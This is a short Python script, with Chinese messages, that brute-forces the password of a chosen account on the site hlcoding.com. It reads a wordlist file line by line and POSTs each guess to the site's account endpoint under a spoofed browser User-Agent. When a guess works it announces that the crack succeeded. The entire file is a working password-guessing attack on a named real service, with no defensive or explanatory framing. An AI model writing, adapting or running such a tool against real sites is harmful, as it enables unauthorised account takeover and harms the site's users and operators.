# -*- coding: utf-8 -*-

from requests import post
from json import loads
from tkinter import messagebox

userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
header = {
    "origin": "https://hlcoding.com",
    "Referer": "https://hlcoding.com/",
    'User-Agent': userAgent,
}
print("输入账户名称")
postUrl = "https://hlcoding.com/user/account/signup/"
username = input("username:")
def TryPassword(password):
    postData = {
        "username": username,
        "password": password
    }
    print("POST...")
    responseRes = post(postUrl, data = postData, headers = header)
    text = loads(responseRes.text)
    print("OVER")
    if text['error_message'] == "用户名不存在！":
        print("用户", "\""+username+"\"", "不存在!")
        exit()
    print(text)
    if text["error_message"] == "success":
        print("破解成功!!!!!!!")
        print("密码为:", password)
        messagebox.showinfo("提示", "密码破解成功！")
        exit()
    else:
        print("错误密码:","\""+password+"\"", "用户名", "\""+username+"\"")
try:
    file = open("passwords.txt", "r", encoding="UTF-8")
except:
    print("找不到密码本 :(")
    print("请将密码本命名为\"passwords.txt\"并与代码文件同路径")
    exit()

line = file.readline()
print("开始破解hlcoding.com", "\""+username+"\"" , "的密码")
while line:
    line = line.strip()
    TryPassword(line)
    line = file.readline()
file.close()
